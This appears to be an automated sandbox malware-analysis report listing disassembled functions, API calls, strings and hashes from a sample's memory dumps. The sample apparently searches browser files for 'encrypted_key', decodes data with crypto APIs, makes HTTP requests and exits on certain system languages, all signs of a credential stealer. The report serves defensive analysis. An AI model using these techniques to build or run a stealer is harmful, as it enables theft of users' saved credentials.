Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 2d702dfb8ffd3fcc316530df9a4c658fe3e2a759bcc2f93e14c00dcf207c6f54
Instruction ID: e09e3b0b11d2593a068fb2c76433fce8bb876c0ff87ea53fce05ec0a825922de
Opcode Fuzzy Hash: 2d702dfb8ffd3fcc316530df9a4c658fe3e2a759bcc2f93e14c00dcf207c6f54
Instruction Fuzzy Hash: 08512070950148EBEF18FF64CD9AAED7779AF10340F504029F40A5A591EF3C6B45DB62

Function 6C613480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C613284,?,?,6C6356F6), ref: 6C613492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C613284,?,?,6C6356F6), ref: 6C6134A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C613284,?,?,6C6356F6), ref: 6C6134EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C61350E
__Init_thread_footer.LIBCMT ref: 6C613522
__aulldiv.LIBCMT ref: 6C613552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C613284,?,?,6C6356F6), ref: 6C61357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C613284,?,?,6C6356F6), ref: 6C613592

Part of subcall function 6C64AB89: EnterCriticalSection.KERNEL32(6C69E370,?,?,?,6C6134DE,6C69F6CC,?,?,?,?,?,?,?,6C613284), ref: 6C64AB94
Part of subcall function 6C64AB89: LeaveCriticalSection.KERNEL32(6C69E370,?,6C6134DE,6C69F6CC,?,?,?,?,?,?,?,6C613284,?,?,6C6356F6), ref: 6C64ABD1

Strings

kernel32.dll, xrefs: 6C6134EA
GetSystemTimePreciseAsFileTime, xrefs: 6C613508

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 7791e5f17a11014dafb156df6a68a23caba47287022ff1843e46215a2122c17a
Instruction ID: 10339bda7f48c3361d4a80f3b44b901f926fe16137266cb459f938f3cbf2364a
Opcode Fuzzy Hash: 7791e5f17a11014dafb156df6a68a23caba47287022ff1843e46215a2122c17a
Instruction Fuzzy Hash: AA31A771B002079BDF14DFBAC988AAE7779FB86705F114029F606D3A50DB709905CF69

Function 6C614480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C654843,?), ref: 6C6145F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C654843,?), ref: 6C61468A
free.MOZGLUE(?,?,?,?,?,?,6C654843,?), ref: 6C6146C9
free.MOZGLUE(?), ref: 6C6146EF
free.MOZGLUE(?), ref: 6C614712
free.MOZGLUE(?), ref: 6C614735
free.MOZGLUE(?), ref: 6C614758
free.MOZGLUE(?), ref: 6C61477B
free.MOZGLUE(?), ref: 6C61479E

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 744a25ddef23ebbd6ad533f32f04348a1ccca16396b3a3db468150f1667d728e
Instruction ID: bf24f17e66fe8cee649b3af04b37c0a2483e0d38a7639a54ebdd3b8618c871da
Opcode Fuzzy Hash: 744a25ddef23ebbd6ad533f32f04348a1ccca16396b3a3db468150f1667d728e
Instruction Fuzzy Hash: 1EB1E571A081118FDB18DE3CD8E07BD76A1AF4232EF184629E416DBFD6D7B0D8408B99

Function 007812D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 8c577f915bf4e76df98067bf1807f09ec443f55efbf4c46d67b8ccb424aa4ba6
Instruction ID: c825f7da2a3ad950c0f905d948b58ff8bf3efc7f36fdfa6156a0494bd091aee8
Opcode Fuzzy Hash: 8c577f915bf4e76df98067bf1807f09ec443f55efbf4c46d67b8ccb424aa4ba6
Instruction Fuzzy Hash: 0EC1A6B5940119EBCB18FF60DD8DFEA7378BB54304F004599F10AA7141EB78AA85DFA2

Function 00784280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00788DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00788E0B

lstrcat.KERNEL32(?,00000000), ref: 007842EC
lstrcat.KERNEL32(?,014BDE68), ref: 0078430B
lstrcat.KERNEL32(?,?), ref: 0078431F
lstrcat.KERNEL32(?,014BCA20), ref: 00784333

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

Part of subcall function 00788D90: GetFileAttributesA.KERNEL32(00000000,?,00771B54,?,?,0079564C,?,?,00790E1F), ref: 00788D9F

Part of subcall function 00779CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00779D39

Part of subcall function 007799C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 007799EC
Part of subcall function 007799C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00779A11
Part of subcall function 007799C0: LocalAlloc.KERNEL32(00000040,?), ref: 00779A31
Part of subcall function 007799C0: ReadFile.KERNEL32(000000FF,?,00000000,0077148F,00000000), ref: 00779A5A
Part of subcall function 007799C0: LocalFree.KERNEL32(0077148F), ref: 00779A90
Part of subcall function 007799C0: CloseHandle.KERNEL32(000000FF), ref: 00779A9A

Part of subcall function 007893C0: GlobalAlloc.KERNEL32(00000000,007843DD,007843DD), ref: 007893D3

StrStrA.SHLWAPI(?,014BDF88), ref: 007843F3
GlobalFree.KERNEL32(?), ref: 00784512

Part of subcall function 00779AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Nw,00000000,00000000), ref: 00779AEF
Part of subcall function 00779AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00774EEE,00000000,?), ref: 00779B01
Part of subcall function 00779AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Nw,00000000,00000000), ref: 00779B2A
Part of subcall function 00779AC0: LocalFree.KERNEL32(?,?,?,?,00774EEE,00000000,?), ref: 00779B3F

lstrcat.KERNEL32(?,00000000), ref: 007844A3
StrCmpCA.SHLWAPI(?,007908D1), ref: 007844C0
lstrcat.KERNEL32(00000000,00000000), ref: 007844D2
lstrcat.KERNEL32(00000000,?), ref: 007844E5
lstrcat.KERNEL32(00000000,00790FB8), ref: 007844F4

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 0af23efd9b0fa9d10394b77da09067ff28d0c6584bcd5a53210e7c27af045d61
Instruction ID: f1ba80e8c88eb6bb4022de51b6ebad3ad84aaada1659b03b0ee72a111b701261
Opcode Fuzzy Hash: 0af23efd9b0fa9d10394b77da09067ff28d0c6584bcd5a53210e7c27af045d61
Instruction Fuzzy Hash: C07158B6910208BBDB14FBA0DC89FEE737DAB48300F048598F60997181EA78DB55DF91

Function 6C67AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C67AC52
CreateFileMappingW.KERNEL32 ref: 6C67AC7D
GetSystemInfo.KERNEL32 ref: 6C67AC98
MapViewOfFile.KERNEL32 ref: 6C67ACB0
GetSystemInfo.KERNEL32 ref: 6C67ACCD
MapViewOfFile.KERNEL32 ref: 6C67AD05
UnmapViewOfFile.KERNEL32 ref: 6C67AD1C
CloseHandle.KERNEL32 ref: 6C67AD28
UnmapViewOfFile.KERNEL32 ref: 6C67AD37
CloseHandle.KERNEL32 ref: 6C67AD43
CloseHandle.KERNEL32 ref: 6C67AD67

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: d3542cf5e6aada7435af3cb694444ae3a695f7296dc89632ae61e6b492f5fd73
Instruction ID: 9f533a2688b44771f73686029cecf23bfa5a3c1d9a17b337fed28c7b7c517fcd
Opcode Fuzzy Hash: d3542cf5e6aada7435af3cb694444ae3a695f7296dc89632ae61e6b492f5fd73
Instruction Fuzzy Hash: C1318FB1A087058FDB10EF79C68826EBBF4BF85345F01892DE98587201EB709449CB96

Function 6C669D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C668273), ref: 6C669D65
free.MOZGLUE(6C668273,?), ref: 6C669D7C
free.MOZGLUE(?,?), ref: 6C669D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C669E0F
free.MOZGLUE(6C66946B,?,?), ref: 6C669E24
free.MOZGLUE(?,?,?), ref: 6C669E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C669EC8
free.MOZGLUE(6C66946B,?,?,?), ref: 6C669EDF
free.MOZGLUE(?,?,?,?), ref: 6C669EF5

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: bb57053dd791444a9bdc98cdfd9989eeea7a964fb40cf6f20d55c99f0cf1b28a
Instruction ID: 3adb6ad83afd2ad7cc37ecd68dfdc49f04b78391ed25b0a6f611712109311f31
Opcode Fuzzy Hash: bb57053dd791444a9bdc98cdfd9989eeea7a964fb40cf6f20d55c99f0cf1b28a
Instruction Fuzzy Hash: FA719070909B418BC712CF19C44055BF3F4FF99319B44A619EC9E9BB11EB30E886CB8A

Function 6C64CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C6131A7), ref: 6C64CDDD

Strings

<jemalloc>, xrefs: 6C64CF9F, 6C64CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C64CFA4, 6C64CFB8

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 74972c78a21a3d9052ab7d09e80e7eb7511b4be8de5123ac244e1af54a07db6e
Instruction ID: a84c5ba722751a78b64ade88c9c5b2321a8bff1989fcbe19193025ebb043c6c5
Opcode Fuzzy Hash: 74972c78a21a3d9052ab7d09e80e7eb7511b4be8de5123ac244e1af54a07db6e
Instruction Fuzzy Hash: AF3192317402166BEB10AE668C85FAE7B79AF81B58F30C014E612ABB80DB70D505CB9D

Function 6C61ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C61F100: LoadLibraryW.KERNEL32(shell32,?,6C68D020), ref: 6C61F122
Part of subcall function 6C61F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C61F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C61ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C61EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C61EDCC
CreateFileW.KERNEL32 ref: 6C61EE08
free.MOZGLUE(00000000), ref: 6C61EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C61EE32

Part of subcall function 6C61EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C61EBB5
Part of subcall function 6C61EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C64D7F3), ref: 6C61EBC3
Part of subcall function 6C61EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C64D7F3), ref: 6C61EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C61EDC1

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 0fe97d88cc71a00f481048e7369c4c83958fcacbdb02545f614b570006befc4b
Instruction ID: b7918321e6afe269afc751eb2df2165c4c584b11989ffce471b42bf6d3da39be
Opcode Fuzzy Hash: 0fe97d88cc71a00f481048e7369c4c83958fcacbdb02545f614b570006befc4b
Instruction Fuzzy Hash: 0651E471D092059BDB00DF6CC8846EEB7F0AF5A319F44852DE85567F40E730A949CBEA

Function 6C68A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C68A565

Part of subcall function 6C68A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C68A4BE
Part of subcall function 6C68A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C68A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C68A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C68A6B6

Strings

z, xrefs: 6C68A6AE
0, xrefs: 6C68A5FB

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: f6338bf362bdd6f6ef11778f4112d4dad0614d4119a39c55f176a28abe486af5
Instruction ID: 94876e7137e36ecdbd2d8227da88bb25e9bb3e56bf794728036b6d3dab86efd2
Opcode Fuzzy Hash: f6338bf362bdd6f6ef11778f4112d4dad0614d4119a39c55f176a28abe486af5
Instruction Fuzzy Hash: 9E4148719097459FC341CF28C080A8FBBE5BF8A344F408A2EF89987695E730D589CB96

Function 6C659420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C64AB89: EnterCriticalSection.KERNEL32(6C69E370,?,?,?,6C6134DE,6C69F6CC,?,?,?,?,?,?,?,6C613284), ref: 6C64AB94
Part of subcall function 6C64AB89: LeaveCriticalSection.KERNEL32(6C69E370,?,6C6134DE,6C69F6CC,?,?,?,?,?,?,?,6C613284,?,?,6C6356F6), ref: 6C64ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C624A68), ref: 6C65945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C659470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C659482
__Init_thread_footer.LIBCMT ref: 6C65949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C65947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C65946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C659459

Memory Dump Source

Source File: 00000000.00000002.2452032312.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2451971216.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452132162.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452186597.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2452206023.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 0a5517eb8acfed4df7ecbb08416b9bfea0897a2a580a95fb36bda50e5e7026fb
Instruction ID: 009cabdf82bf23d38951d15a30a6c98119de13160f54c79337ace94e65da2924
Opcode Fuzzy Hash: 0a5517eb8acfed4df7ecbb08416b9bfea0897a2a580a95fb36bda50e5e7026fb
Instruction Fuzzy Hash: 9601D8B0A0010397DB009F5ED951ACA337AAF0672CF254536ED06C6B42D632D8778A5F

Function 00786770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00786774
ExitProcess.KERNEL32 ref: 007867A5
ExitProcess.KERNEL32 ref: 007867AF
ExitProcess.KERNEL32 ref: 007867B9
ExitProcess.KERNEL32 ref: 007867C3
ExitProcess.KERNEL32 ref: 007867CD

Strings

*, xrefs: 0078678C

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
